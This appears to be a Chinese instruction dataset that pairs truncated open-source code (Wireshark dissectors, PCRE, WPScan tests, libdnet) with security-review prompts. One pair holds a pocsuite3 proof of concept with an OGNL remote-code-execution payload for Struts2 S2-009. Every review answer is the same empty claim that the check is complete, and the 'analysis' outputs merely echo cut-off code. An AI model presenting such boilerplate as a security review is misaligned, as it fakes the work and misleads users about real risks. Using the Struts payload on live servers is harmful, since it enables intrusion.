Instruction: 检查这段代码是否存在安全问题

Input:
# frozen_string_literal: true

describe WPScan::Finders::InterestingFindings::Readme do
  subject(:finder) { described_class.new(target) }
  let(:target)     { WPScan::Target.new(url) }
  let(:url)        { 'http://ex.lo/' }
  let(:fixtures)   { FINDERS_FIXTURES.join('interesting_findings', 'readme') }

  describe '#aggressive' do
    before do
      expect(target).to receive(:sub_dir).at_least(1).and_return(false)
      expect(target).to receive(:head_or_get_params).at_least(1).and_return(method: :head)

      finder.potential_files.each do |file|
        stub_request(:head, target.url(file)).to_return(status: 404)
      end
    end

    context 'when no file present' do
      its(:aggressive) { should be_nil }
    end

    # TODO: case when multiple files are present ? (should return only the first one found)
    context 'when a file exists' do
      let(:file)   { finder.potential_files.sample }
      let(:readme) { File.read(fixtures.join('readme-3.9.2.html')) }

      before do
        stub_request(:head, target.url(file))
        stub_request(:get, target.url(file)).to_return(body: readme)
      end

      it 'returns the expected InterestingFinding' do
        expected = WPScan::Model::Readme.new(
          target.url(file),
          confidence: 100,
          found_by: described_class::DIRECT_ACCESS
        )

        expect(finder.aggressive).to eql expected
      end
    end
  end

  describe '#potential_files' do
    it 'does not contain duplicates' do
      expect(finder.potential_files.flatten.uniq.length).to eql finder.potential_files.length
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-tcp.c
 * Routines for TCP packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/exceptions.h>
#include <epan/addr_resolv.h>
#include <epan/ipproto.h>
#include <epan/expert.h>
#include <epan/ip_opts.h>
#include <epan/follow.h>
#include <epan/prefs.h>
#include <epan/show_exception.h>
#include <epan/conversation_table.h>
#include <epan/conversation_filter.h>
#include <epan/sequence_analysis.h>
#include <epan/reassemble.h>
#include <epan/decode_as.h>
#include <epan/exported_pdu.h>
#include <epan/in_cksum.h>
#include <epan/proto_data.h>

#include <wsutil/utf8_entities.h>
#include <wsutil/str_util.h>
#include <wsutil/wsgcrypt.h>
#include <wsutil/pint.h>
#include <wsutil/ws_assert.h>

#include "packet-tcp.h"
#include "packet-ip.h"
#include "packet-icmp.h"

void proto_register_tcp(void);
void proto_reg_handoff_tcp(void);
static void conversation_completeness_fill(gchar*, guint32);

static int tcp_tap = -1;
static int tcp_follow_tap = -1;
static int mptcp_tap = -1;
static int exported_pdu_tap = -1;

/* Place TCP summary in proto tree */
static gboolean tcp_summary_in_tree = TRUE;

static inline guint64 KEEP_32MSB_OF_GUINT64(guint64 nb) {
    return (nb >> 32) << 32;
}

#define MPTCP_DSS_FLAG_DATA_ACK_PRESENT     0x01
#define MPTCP_DSS_FLAG_DATA_ACK_8BYTES      0x02
#define MPTCP_DSS_FLAG_MAPPING_PRESENT      0x04
#define MPTCP_DSS_FLAG_DSN_8BYTES           0x08
#define MPTCP_DSS_FLAG_DATA_FIN_PRESENT     0x10

/*
 * Flag to control whether to check the TCP checksum.
 *
 * In at least some Solaris network traces, there are packets with bad
 * TCP checksums, but the traffic appears to indicate that the packets
 * *were* received; the packets were probably sent by the host on which
 * the capture was being done, on a network interface to wh...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-tcp.c
 * Routines for TCP packet disassembly
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>
#include <epan/capture_dissectors.h>
#include <epan/exceptions.h>
#include <epan/addr_resolv.h>
#include <epan/ipproto.h>
#include <epan/expert.h>
#include <epan/ip_opts.h>
#include <epan/follow.h>
#include <epan/prefs.h>
#include <epan/show_exception.h>
#include <epan/conversation_table.h>
#include <epan/conversation_filter.h>
#include <epan/sequence_analysis.h>
#include <epan/reassemble.h>
#include <epan/decode_as.h>
#include <epan/exported_pdu.h>
#include <epan/in_cksum.h>
#include <epan/proto_data.h>

#include <wsutil/utf8_entities.h>
#include <wsutil/str_util.h>
#include <wsutil/wsgcrypt.h>
#include <wsutil/pint.h>
#include <wsutil/ws_assert.h>

#include "packet-tcp.h"
#include "packet-ip.h"
#include "packet-icmp.h"

void proto_register_tcp(void);
void proto_reg_handoff_tcp(void);
static void conversation_completeness_fill(gchar*, guint32);

static int tcp_tap = -1;
static int tcp_follow_tap = -1;
static int mptcp_tap = -1;
static int exported_pdu_tap = -1;

/* Place TCP summary in proto tree */
static gboolean tcp_summary_in_tree = TRUE;

static inline guint64 KEEP_32MSB_OF_GUINT64(guint64 nb) {
    return (nb >> 32) << 32;
}

#define MPTCP_DSS_FLAG_DATA_ACK_PRESENT     0x01
#define MPTCP_DSS_FLAG_DATA_ACK_8BYTES      0x02
#define MPTCP_DSS_FLAG_MAPPING_PRESENT      0x04
#define MPTCP_DSS_FLAG_DSN_8BYTES           0x08
#define MPTCP_DSS_FLAG_DATA_FIN_PRESENT     0x10

/*
 * Flag to control whether to check the TCP checksum.
 *
 * In at least some Solaris network traces, there are packets with bad
 * TCP checksums, but the traffic appears to indicate that the packets
 * *were* received; the packets were probably sent by the host on which
 * the capture was being done, on a network interface to wh...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * Portable Exception Handling for ANSI C.
 * Copyright (C) 1999 Kaz Kylheku <kaz@ashi.footprints.net>
 *
 * Free Software License:
 *
 * All rights are reserved by the author, with the following exceptions:
 * Permission is granted to freely reproduce and distribute this software,
 * possibly in exchange for a fee, provided that this copyright notice appears
 * intact. Permission is also granted to adapt this software to produce
 * derivative works, as long as the modified versions carry this copyright
 * notice and additional notices stating that the work has been modified.
 * This source code may be translated into executable form and incorporated
 * into proprietary software; there is no requirement for such software to
 * contain a copyright notice related to this source.
 */

/*
 * Modified to support throwing an exception with a null message pointer,
 * and to have the message not be const (as we generate messages with
 * "ws_strdup_printf()", which means they need to be freed; using
 * a null message means that we don't have to use a special string
 * for exceptions with no message, and don't have to worry about
 * not freeing that).
 */

#include "config.h"

#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <limits.h>

#include <glib.h>

#include "except.h"

#ifdef _WIN32
#include <windows.h>
#include "exceptions.h"
#endif

#define XCEPT_BUFFER_SIZE 1024

#ifdef KAZLIB_POSIX_THREADS

#include <pthread.h>

static pthread_mutex_t init_mtx = PTHREAD_MUTEX_INITIALIZER;
static int init_counter;
static pthread_key_t top_key;
static pthread_key_t uh_key;
static pthread_key_t alloc_key;
static pthread_key_t dealloc_key;
static void unhandled_catcher(except_t *);

#define get_top() ((struct except_stacknode *) pthread_getspecific(top_key))
#define set_top(T) (pthread_setspecific(top_key, (T)), (void)((T) == (struct except_stacknode *) 0))
#define set_catcher(C) (pthread_setspecific(uh_key, (void *) (C)), (void)((C) == (void (...


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * Portable Exception Handling for ANSI C.
 * Copyright (C) 1999 Kaz Kylheku <kaz@ashi.footprints.net>
 *
 * Free Software License:
 *
 * All rights are reserved by the author, with the following exceptions:
 * Permission is granted to freely reproduce and distribute this software,
 * possibly in exchange for a fee, provided that this copyright notice appears
 * intact. Permission is also granted to adapt this software to produce
 * derivative works, as long as the modified versions carry this copyright
 * notice and additional notices stating that the work has been modified.
 * This source code may be translated into executable form and incorporated
 * into proprietary software; there is no requirement for such software to
 * contain a copyright notice related to this source.
 */

/*
 * Modified to support throwing an exception with a null message pointer,
 * and to have the message not be const (as we generate messages with
 * "ws_strdup_printf()", which means they need to be freed; using
 * a null message means that we don't have to use a special string
 * for exceptions with no message, and don't have to worry about
 * not freeing that).
 */

#include "config.h"

#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <limits.h>

#include <glib.h>

#include "except.h"

#ifdef _WIN32
#include <windows.h>
#include "exceptions.h"
#endif

#define XCEPT_BUFFER_SIZE 1024

#ifdef KAZLIB_POSIX_THREADS

#include <pthread.h>

static pthread_mutex_t init_mtx = PTHREAD_MUTEX_INITIALIZER;
static int init_counter;
static pthread_key_t top_key;
static pthread_key_t uh_key;
static pthread_key_t alloc_key;
static pthread_key_t dealloc_key;
static void unhandled_catcher(except_t *);

#define get_top() ((struct except_stacknode *) pthread_getspecific(top_key))
#define set_top(T) (pthread_setspecific(top_key, (T)), (void)((T) == (struct except_stacknode *) 0))
#define set_catcher(C) (pthread_setspecific(uh_key, (void *) (C)), (void)((C) == (void (...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from collections import OrderedDict

from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.1.0 - 2.3.1.1'
    name = 'Struts2-009远程代码执行'
    desc = '''Struts2-009远程代码执行'''
    pocDesc = '''Struts2-009远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-009/README.zh-cn.md',
                  'https://blog.csdn.net/fly_hps/article/details/85001659']
    samples = ['http://192.168.190.128:8080/ajax/example5?age=12313&name=']  # 测试样列,就是用 PoC 测试成功的网站

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):
        HEADERS = {
            'Accept': 'application/x-shockwave-flash,'
                      'image/gif,'
                      'image/x-xbitmap,'
                      'image/jpeg,'
                      'image/pjpeg,'
                      'application/vnd.ms-excel,'
                      'application/vnd.ms-powerpoint,'
                      'application/msword,'
                      '*/*',
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false)," \
                  "+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(" \
                  "%27RECOMMAND%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a)," \
                  "%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d)," \
                  "%23kxlzx=@org.apache.struts2.ServletActionCon...


Instruction: 检查这段代码是否存在安全问题

Input:
from collections import OrderedDict

from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.1.0 - 2.3.1.1'
    name = 'Struts2-009远程代码执行'
    desc = '''Struts2-009远程代码执行'''
    pocDesc = '''Struts2-009远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-009/README.zh-cn.md',
                  'https://blog.csdn.net/fly_hps/article/details/85001659']
    samples = ['http://192.168.190.128:8080/ajax/example5?age=12313&name=']  # 测试样列,就是用 PoC 测试成功的网站

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):
        HEADERS = {
            'Accept': 'application/x-shockwave-flash,'
                      'image/gif,'
                      'image/x-xbitmap,'
                      'image/jpeg,'
                      'image/pjpeg,'
                      'application/vnd.ms-excel,'
                      'application/vnd.ms-powerpoint,'
                      'application/msword,'
                      '*/*',
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = "(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false)," \
                  "+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(" \
                  "%27RECOMMAND%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a)," \
                  "%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d)," \
                  "%23kxlzx=@org.apache.struts2.ServletActionCon...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* sharkd.c
 *
 * Daemon variant of Wireshark
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#define WS_LOG_DOMAIN  LOG_DOMAIN_MAIN

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <signal.h>

#include <glib.h>

#include <epan/exceptions.h>
#include <epan/epan.h>

#include <wsutil/clopts_common.h>
#include <wsutil/cmdarg_err.h>
#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/privileges.h>
#include <wsutil/report_message.h>
#include <wsutil/wslog.h>
#include <wsutil/version_info.h>
#include <wiretap/wtap_opttypes.h>

#include <epan/decode_as.h>
#include <epan/timestamp.h>
#include <epan/packet.h>
#include "frame_tvbuff.h"
#include <epan/disabled_protos.h>
#include <epan/prefs.h>
#include <epan/column.h>
#include <epan/print.h>
#include <epan/addr_resolv.h>
#include "ui/util.h"
#include "ui/ws_ui_util.h"
#include "ui/decode_as_utils.h"
#include "wsutil/filter_files.h"
#include "ui/tap_export_pdu.h"
#include "ui/failure_message.h"
#include "wtap.h"
#include <epan/epan_dissect.h>
#include <epan/tap.h>
#include <epan/uat-int.h>
#include <epan/secrets.h>

#include <wsutil/codecs.h>

#include <wsutil/str_util.h>
#include <wsutil/utf8_entities.h>

#ifdef HAVE_PLUGINS
#include <wsutil/plugins.h>
#endif

#include "sharkd.h"

#define SHARKD_INIT_FAILED 1
#define SHARKD_EPAN_INIT_FAIL 2

capture_file cfile;

static guint32 cum_bytes;
static frame_data ref_frame;

static void sharkd_cmdarg_err(const char *msg_format, va_list ap);
static void sharkd_cmdarg_err_cont(const char *msg_format, va_list ap);

static void
print_current_user(void)
{
    gchar *cur_user, *cur_group;

    if (started_with_special_privs()) {
        cur_user = get_cur_username();
        cur_group = get_cur_groupname();
        fprintf(stderr, "Running as user \"%s\" and group \"%s\".",
             ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* sharkd.c
 *
 * Daemon variant of Wireshark
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include <config.h>
#define WS_LOG_DOMAIN  LOG_DOMAIN_MAIN

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <signal.h>

#include <glib.h>

#include <epan/exceptions.h>
#include <epan/epan.h>

#include <wsutil/clopts_common.h>
#include <wsutil/cmdarg_err.h>
#include <wsutil/filesystem.h>
#include <wsutil/file_util.h>
#include <wsutil/privileges.h>
#include <wsutil/report_message.h>
#include <wsutil/wslog.h>
#include <wsutil/version_info.h>
#include <wiretap/wtap_opttypes.h>

#include <epan/decode_as.h>
#include <epan/timestamp.h>
#include <epan/packet.h>
#include "frame_tvbuff.h"
#include <epan/disabled_protos.h>
#include <epan/prefs.h>
#include <epan/column.h>
#include <epan/print.h>
#include <epan/addr_resolv.h>
#include "ui/util.h"
#include "ui/ws_ui_util.h"
#include "ui/decode_as_utils.h"
#include "wsutil/filter_files.h"
#include "ui/tap_export_pdu.h"
#include "ui/failure_message.h"
#include "wtap.h"
#include <epan/epan_dissect.h>
#include <epan/tap.h>
#include <epan/uat-int.h>
#include <epan/secrets.h>

#include <wsutil/codecs.h>

#include <wsutil/str_util.h>
#include <wsutil/utf8_entities.h>

#ifdef HAVE_PLUGINS
#include <wsutil/plugins.h>
#endif

#include "sharkd.h"

#define SHARKD_INIT_FAILED 1
#define SHARKD_EPAN_INIT_FAIL 2

capture_file cfile;

static guint32 cum_bytes;
static frame_data ref_frame;

static void sharkd_cmdarg_err(const char *msg_format, va_list ap);
static void sharkd_cmdarg_err_cont(const char *msg_format, va_list ap);

static void
print_current_user(void)
{
    gchar *cur_user, *cur_group;

    if (started_with_special_privs()) {
        cur_user = get_cur_username();
        cur_group = get_cur_groupname();
        fprintf(stderr, "Running as user \"%s\" and group \"%s\".",
             ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*************************************************
*      Perl-Compatible Regular Expressions       *
*************************************************/

/* PCRE is a library of functions to support regular expressions whose syntax
and semantics are as close as possible to those of the Perl 5 language.

                       Written by Philip Hazel
     Original API code Copyright (c) 1997-2012 University of Cambridge
          New API code Copyright (c) 2016-2018 University of Cambridge

-----------------------------------------------------------------------------
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.

    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in the
      documentation and/or other materials provided with the distribution.

    * Neither the name of the University of Cambridge nor the names of its
      contributors may be used to endorse or promote products derived from
      this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN ...


Instruction: 检查这段代码是否存在安全问题

Input:
/*************************************************
*      Perl-Compatible Regular Expressions       *
*************************************************/

/* PCRE is a library of functions to support regular expressions whose syntax
and semantics are as close as possible to those of the Perl 5 language.

                       Written by Philip Hazel
     Original API code Copyright (c) 1997-2012 University of Cambridge
          New API code Copyright (c) 2016-2018 University of Cambridge

-----------------------------------------------------------------------------
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice,
      this list of conditions and the following disclaimer.

    * Redistributions in binary form must reproduce the above copyright
      notice, this list of conditions and the following disclaimer in the
      documentation and/or other materials provided with the distribution.

    * Neither the name of the University of Cambridge nor the names of its
      contributors may be used to endorse or promote products derived from
      this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-hpfeeds.c
 * Routines for Honeypot Protocol Feeds packet disassembly
 * Copyright 2013, Sebastiano DI PAOLA - <sebastiano.dipaola@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Additional information regarding hpfeeds protocol can be found here
 * https://redmine.honeynet.org/projects/hpfeeds/wiki
*/

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/tap.h>
#include <epan/stats_tree.h>
#include <epan/wmem_scopes.h>

#include "packet-tcp.h"

struct HpfeedsTap {
    guint payload_size;
    guint8* channel;
    guint8 opcode;
};

static int hpfeeds_tap = -1;

static const gchar* st_str_channels_payload = "Payload size per channel";
static const gchar* st_str_opcodes = "Opcodes";

static int st_node_channels_payload = -1;
static int st_node_opcodes = -1;

static wmem_list_t* channels_list;

struct channel_node {
    guint8* channel;
    guint st_node_channel_payload;
};

void proto_register_hpfeeds(void);
void proto_reg_handoff_hpfeeds(void);

static dissector_handle_t hpfeeds_handle;

static heur_dissector_list_t heur_subdissector_list;

/* Preferences */
static gboolean hpfeeds_desegment = TRUE;
static gboolean try_heuristic = TRUE;

static int proto_hpfeeds = -1;

static int hf_hpfeeds_opcode = -1;
static int hf_hpfeeds_msg_length = -1;
static int hf_hpfeeds_nonce = -1;
static int hf_hpfeeds_secret = -1;
static int hf_hpfeeds_payload = -1;
static int hf_hpfeeds_server_len = -1;
static int hf_hpfeeds_server = -1;
static int hf_hpfeeds_ident_len = -1;
static int hf_hpfeeds_ident = -1;
static int hf_hpfeeds_channel = -1;
static int hf_hpfeeds_chan_len = -1;
static int hf_hpfeeds_errmsg = -1;

static gint ett_hpfeeds = -1;

static expert_field ei_hpfeeds_opcode_unknown = EI_INIT;

/* OPCODE */
#define OP_ERROR       0         /* error message*/
#define OP_INFO     ...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-hpfeeds.c
 * Routines for Honeypot Protocol Feeds packet disassembly
 * Copyright 2013, Sebastiano DI PAOLA - <sebastiano.dipaola@gmail.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * Additional information regarding hpfeeds protocol can be found here
 * https://redmine.honeynet.org/projects/hpfeeds/wiki
*/

#include "config.h"

#include <epan/packet.h>
#include <epan/prefs.h>
#include <epan/expert.h>
#include <epan/tap.h>
#include <epan/stats_tree.h>
#include <epan/wmem_scopes.h>

#include "packet-tcp.h"

struct HpfeedsTap {
    guint payload_size;
    guint8* channel;
    guint8 opcode;
};

static int hpfeeds_tap = -1;

static const gchar* st_str_channels_payload = "Payload size per channel";
static const gchar* st_str_opcodes = "Opcodes";

static int st_node_channels_payload = -1;
static int st_node_opcodes = -1;

static wmem_list_t* channels_list;

struct channel_node {
    guint8* channel;
    guint st_node_channel_payload;
};

void proto_register_hpfeeds(void);
void proto_reg_handoff_hpfeeds(void);

static dissector_handle_t hpfeeds_handle;

static heur_dissector_list_t heur_subdissector_list;

/* Preferences */
static gboolean hpfeeds_desegment = TRUE;
static gboolean try_heuristic = TRUE;

static int proto_hpfeeds = -1;

static int hf_hpfeeds_opcode = -1;
static int hf_hpfeeds_msg_length = -1;
static int hf_hpfeeds_nonce = -1;
static int hf_hpfeeds_secret = -1;
static int hf_hpfeeds_payload = -1;
static int hf_hpfeeds_server_len = -1;
static int hf_hpfeeds_server = -1;
static int hf_hpfeeds_ident_len = -1;
static int hf_hpfeeds_ident = -1;
static int hf_hpfeeds_channel = -1;
static int hf_hpfeeds_chan_len = -1;
static int hf_hpfeeds_errmsg = -1;

static gint ett_hpfeeds = -1;

static expert_field ei_hpfeeds_opcode_unknown = EI_INIT;

/* OPCODE */
#define OP_ERROR       0         /* error message*/
#define OP_INFO     ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-echo.c
 * Routines for ECHO packet disassembly (RFC862)
 *
 * Only useful to mark the packets as ECHO in the summary and in the
 * protocol hierarchy statistics (since not so many fields to decode ;-)
 *
 * Laurent Deniel <laurent.deniel@free.fr>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#define ECHO_PORT  7

void proto_register_echo(void);
void proto_reg_handoff_echo(void);

static dissector_handle_t echo_handle;
static int proto_echo = -1;

static int hf_echo_data = -1;
static int hf_echo_request = -1;
static int hf_echo_response = -1;

static gint ett_echo = -1;

static int dissect_echo(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  gboolean    request;
  proto_tree *echo_tree;
  proto_item *ti, *hidden_item;

  request = (pinfo->destport == pinfo->match_uint);

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "ECHO");
  col_set_str(pinfo->cinfo, COL_INFO, request ? "Request" : "Response");

  ti = proto_tree_add_item(tree, proto_echo, tvb, 0, -1, ENC_NA);
  echo_tree = proto_item_add_subtree(ti, ett_echo);

  hidden_item = proto_tree_add_boolean(echo_tree,
      request ?  hf_echo_request : hf_echo_response, tvb, 0, 0, 1);
  proto_item_set_hidden(hidden_item);

  proto_tree_add_item(echo_tree, hf_echo_data, tvb, 0, -1, ENC_NA);

  return tvb_captured_length(tvb);
}

void proto_register_echo(void)
{

  static hf_register_info hf[] = {
    { &hf_echo_data,
      { "Echo data", "echo.data", FT_BYTES, BASE_NONE,
        NULL, 0x0, NULL, HFILL }},
    { &hf_echo_request,
      { "Echo request", "echo.request", FT_BOOLEAN, BASE_NONE,
        NULL, 0x0, NULL, HFILL }},
    { &hf_echo_response,
      { "Echo response","echo.response", FT_BOOLEAN, BASE_NONE,
        NULL, 0x0, NULL, HFILL }}
  };

  static gint *ett[] = {
    &ett_echo
  };

  proto_echo = proto_register_...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-echo.c
 * Routines for ECHO packet disassembly (RFC862)
 *
 * Only useful to mark the packets as ECHO in the summary and in the
 * protocol hierarchy statistics (since not so many fields to decode ;-)
 *
 * Laurent Deniel <laurent.deniel@free.fr>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <epan/packet.h>

#define ECHO_PORT  7

void proto_register_echo(void);
void proto_reg_handoff_echo(void);

static dissector_handle_t echo_handle;
static int proto_echo = -1;

static int hf_echo_data = -1;
static int hf_echo_request = -1;
static int hf_echo_response = -1;

static gint ett_echo = -1;

static int dissect_echo(tvbuff_t *tvb, packet_info *pinfo, proto_tree *tree, void* data _U_)
{
  gboolean    request;
  proto_tree *echo_tree;
  proto_item *ti, *hidden_item;

  request = (pinfo->destport == pinfo->match_uint);

  col_set_str(pinfo->cinfo, COL_PROTOCOL, "ECHO");
  col_set_str(pinfo->cinfo, COL_INFO, request ? "Request" : "Response");

  ti = proto_tree_add_item(tree, proto_echo, tvb, 0, -1, ENC_NA);
  echo_tree = proto_item_add_subtree(ti, ett_echo);

  hidden_item = proto_tree_add_boolean(echo_tree,
      request ?  hf_echo_request : hf_echo_response, tvb, 0, 0, 1);
  proto_item_set_hidden(hidden_item);

  proto_tree_add_item(echo_tree, hf_echo_data, tvb, 0, -1, ENC_NA);

  return tvb_captured_length(tvb);
}

void proto_register_echo(void)
{

  static hf_register_info hf[] = {
    { &hf_echo_data,
      { "Echo data", "echo.data", FT_BYTES, BASE_NONE,
        NULL, 0x0, NULL, HFILL }},
    { &hf_echo_request,
      { "Echo request", "echo.request", FT_BOOLEAN, BASE_NONE,
        NULL, 0x0, NULL, HFILL }},
    { &hf_echo_response,
      { "Echo response","echo.response", FT_BOOLEAN, BASE_NONE,
        NULL, 0x0, NULL, HFILL }}
  };

  static gint *ett[] = {
    &ett_echo
  };

  proto_echo = proto_register_...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/*
 * fw-none.c
 *
 * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
 *
 * $Id: fw-none.c 208 2002-01-20 21:23:28Z dugsong $
 */

#include "config.h"

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

#include "dnet.h"

fw_t *
fw_open(void)
{
	errno = ENOSYS;
	return (NULL);
}

int
fw_add(fw_t *f, const struct fw_rule *rule)
{
	errno = ENOSYS;
	return (-1);
}

int
fw_delete(fw_t *f, const struct fw_rule *rule)
{
	errno = ENOSYS;
	return (-1);
}

int
fw_loop(fw_t *f, fw_handler callback, void *arg)
{
	errno = ENOSYS;
	return (-1);
}

fw_t *
fw_close(fw_t *f)
{
	return (NULL);
}


Instruction: 检查这段代码是否存在安全问题

Input:
/*
 * fw-none.c
 *
 * Copyright (c) 2000 Dug Song <dugsong@monkey.org>
 *
 * $Id: fw-none.c 208 2002-01-20 21:23:28Z dugsong $
 */

#include "config.h"

#include <errno.h>
#include <stdio.h>
#include <stdlib.h>

#include "dnet.h"

fw_t *
fw_open(void)
{
